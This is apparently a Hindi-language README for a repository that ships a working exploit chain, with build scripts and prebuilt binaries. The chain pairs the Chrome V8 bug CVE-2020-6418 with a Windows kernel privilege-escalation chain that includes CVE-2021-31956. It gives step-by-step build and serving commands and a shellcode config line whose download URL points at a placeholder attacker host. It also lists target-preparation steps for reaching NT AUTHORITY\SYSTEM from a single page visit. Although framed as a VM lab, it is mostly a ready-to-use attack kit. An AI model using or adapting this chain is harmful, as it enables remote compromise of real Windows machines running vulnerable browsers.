
CVE-2020-6418 (Chrome RCE) के लिए सिंगल-स्टेज एक्सप्लॉइट चेन, जो Windows प्रिविलेज एस्केलेशन के साथ जुड़कर SYSTEM तक पहुँचती है, साथ में बिल्ड स्क्रिप्ट्स और प्रीबिल्ट बाइनरीज़।
इस रिपो में CVE-2020-6418 के लिए एक काम करने वाली, सिंगल-स्टेज एक्सप्लॉइट चेन है।
(यह V8 के Turbofan कंपाइलर में एक type confusion बग है, जो Google Chrome
80.0.3987.87 x64 को प्रभावित करता है)। कमजोर Chrome के साथ किसी malicious पेज पर जाने पर
आपको renderer process के अंदर native code execution मिलता है। वहाँ से,
एक्सप्लॉइट एक दूसरी binary डाउनलोड करके लॉन्च करता है जो दो और बगों को जोड़ती है
(NtPowerInformation में एक missing length check और CVE-2021-31956, एक pool
ओवरफ्लो ntfs.sys में) ताकि एक unprivileged process से सीधे
NT AUTHORITY\SYSTEM तक पहुँचा जा सके।
पूरी प्रक्रिया पेज की एक ही विज़िट में चल जाती है, ब्राउज़र बग और SYSTEM शेल के बीच कोई मैन्युअल कदम नहीं होता।
Chrome एक्सप्लॉइट का मूल श्रेय Clement Lecigne (bug की खोज, Google TAG) और
Istvan Kurucsai / Vignesh S Rao (मूल proof of concept, जिसे बाद में Metasploit मॉड्यूल
के रूप में जारी किया गया) को जाता है। हमने Metasploit निर्भरताओं को हटा दिया
और डिलीवरी तंत्र को पेज में payload एम्बेड करने के बजाय एक native downloader
के इर्द-गिर्द फिर से बनाया। विवरण के लिए देखें
browser-exploit/README.md।
browser-exploit/ The Chrome exploit (the V8 bug + the native stub)
exploit_template.html HTML/JS source, with a placeholder for the stub
build_exploit.py generates exploit.html from the template
shellcode/ the native code the exploit injects into Chrome
privilege-escalation/ The Windows EoP chain, a standalone C program
prebuilt/ Ready to use binaries (exploit.html and exploit.exe)
notes/ An earlier approach we tried and abandoned, kept
as a record of what we learned along the way
हमलावर मशीन ("host"): कोई भी हालिया Windows जिसमें Visual Studio 2019 या 2022 हो (कोई भी edition, Community चलेगा, या सिर्फ Build Tools), NASM और Python 3। यहीं पर आप सब कुछ build करते हैं और एक्सप्लॉइट पेज को serve करते हैं।
लक्ष्य मशीन ("VM"): यह बिल्कुल मेल खाना चाहिए, एक्सप्लॉइट हार्डकोडेड ऑफ़सेट्स पर निर्भर करता है जो केवल इन विशिष्ट builds के लिए मान्य हैं।
winver या PowerShell में
[System.Environment]::OSVersion से जाँचें।chrome://version से जाँचें।C:\lab8 (खाली हो सकता है, बस उसका अस्तित्व होना चाहिए)।हमने इसे host-only network adapter वाली VMware Workstation VM पर परीक्षण किया, लेकिन कोई भी सेटअप जहाँ VM HTTP के ज़रिए host तक पहुँच सकता है, उसी तरह काम करता है।
cd browser-exploit\shellcode
build.bat
cd ..
python build_exploit.py shellcode\download_and_run_stub.bin exploit.html
cd ..\privilege-escalation
build.bat
पहली build से पहले, browser-exploit\shellcode\download_and_run_stub.asm खोलें
और नीचे के पास इन दो पंक्तियों को संपादित करें:
download_url: db "http://YOUR_HOST_IP:8000/exploit.exe", 0
destination_path: db "C:\lab8\exploit.exe", 0
YOUR_HOST_IP इस मशीन का IP पता है जैसा VM से दिखता है (VM पर
ipconfig चलाएँ और वह network adapter देखें जो आपके host-only या NAT
नेटवर्क से मेल खाता है, या बस host पर ipconfig चलाएँ और उस adapter का उपयोग करें जो
VM के समान subnet पर है)। destination_path को वहाँ मेल खाना चाहिए जहाँ आप
EoP binary को VM में रखना चाहते हैं, डिफ़ॉल्ट C:\lab8 है।
संपादन के बाद, stub को फिर से असेंबल करें और exploit.html को पुनः जनरेट करें (step 1 के दो कमांड, privilege-escalation build को छोड़कर क्योंकि वह IP पर निर्भर नहीं करता)।
अगर आप त्वरित परीक्षण के लिए assembly फ़ाइल को छूना नहीं चाहते, तो prebuilt/ में
हमारे अपने परीक्षण IP के साथ एक काम करती हुई कॉपी पहले से मौजूद है। यह तभी काम करेगी
जब आपका नेटवर्क संयोग से मेल खाए, इसलिए अपनी खुद की कॉपी बनाना ही
भरोसेमंद तरीका है।
exploit.html और exploit.exe (वह जो privilege-escalation/ में बना है) को
एक ही फ़ोल्डर में रखें, फिर:
python -m http.server 8000
exploit.exe उसी exact URL पर पहुँच योग्य होना चाहिए जो आपने ऊपर
download_url में डाला है, क्योंकि native stub इसे सीधे fetch करता है,
ब्राउज़र के माध्यम से नहीं।
host firewall पर एक त्वरित टिप्पणी: अगर VM port 8000 तक नहीं पहुँच पा रहा है, तो
यह लगभग हमेशा Windows Defender Firewall होता है जो किसी unclassified नेटवर्क पर
inbound connection को ब्लॉक कर रहा है, या कोई पुराना नियम जो विशेष रूप से python.exe को
ब्लॉक कर रहा है (Windows कभी-कभी पहली बार अपने आप एक नियम बना देता है जब
कोई ऐप किसी untrusted नेटवर्क पर connection accept करने की कोशिश करता है)।
Get-NetFirewallRule -DisplayName "python.exe" को elevated PowerShell में चलाएँ
अगर आपको यह समस्या आती है।
C:\lab8 पहले से नहीं है तो उसे बनाएँ (खाली होना ठीक है)।C:\Windows\bootstat.dat गायब या खाली हो सकता है, और kernel bug के लिए
उसका वैध सामग्री के साथ मौजूद होना आवश्यक है। अगर ज़रूरत हो:if (!(Test-Path C:\Windows\bootstat.dat)) {
fsutil file createnew C:\Windows\bootstat.dat 2048
}
$bytes = [System.IO.File]::ReadAllBytes("C:\Windows\bootstat.dat")
$bytes[4] = 1
[System.IO.File]::WriteAllBytes("C:\Windows\bootstat.dat", $bytes)
कमजोर Chrome को --no-sandbox के साथ लॉन्च करें (इस PoC में sandbox escape शामिल नहीं है,
इसलिए renderer को फ़ाइल सिस्टम तक पहुँचने और processes spawn करने के लिए
पहले से unsandboxed होना आवश्यक है) और इसे पेज पर इंगित करें:
chrome.exe --no-sandbox http://YOUR_HOST_IP:8000/exploit.html
DevTools (F12) खोलें और Console टैब देखें, एक्सप्लॉइट अपनी प्रगति
वहाँ लॉग करता है। अगर सब कुछ ठीक रहा, तो आपको type confusion सफल होते हुए,
stub द्वारा EoP binary डाउनलोड और लॉन्च होते हुए, और कुछ सेकंड बाद
NT AUTHORITY\SYSTEM के रूप में चल रही एक नई कंसोल विंडो दिखनी चाहिए।
exploit_template.html में दिए गए ऑफ़सेट्स
(objleaker_offset, float_carw_elements_offset, और बाकी) केवल
80.0.3987.87 x64 के लिए विशिष्ट हैं, वे किसी दूसरे build पर काम नहीं करेंगे,
भले ही वह सिर्फ एक patch version दूर हो।DEFAULT_RVA_ANCHOR, DEFAULT_RVA_SEPSD, और विभिन्न
EPROCESS/ETHREAD ऑफ़सेट्स privilege-escalation/exploit.c में) उसी build के
लिए hardcoded हैं।download_and_run_stub.asm में download_url उस पते और port से मेल खाता है
जिस पर host वास्तव में serve कर रहा है, और VM उस तक पहुँच सकता है
(VM के अंदर से एक साधारण curl http://YOUR_HOST_IP:8000/exploit.exe
एक्सप्लॉइट को दोष देने से पहले कनेक्टिविटी की पुष्टि करने का त्वरित तरीका है)।प्रत्येक हिस्से के बारे में अधिक विवरण, जिसमें यह भी शामिल है कि इसे इस तरह क्यों बनाया गया है, हर फ़ोल्डर के README में दिया गया है।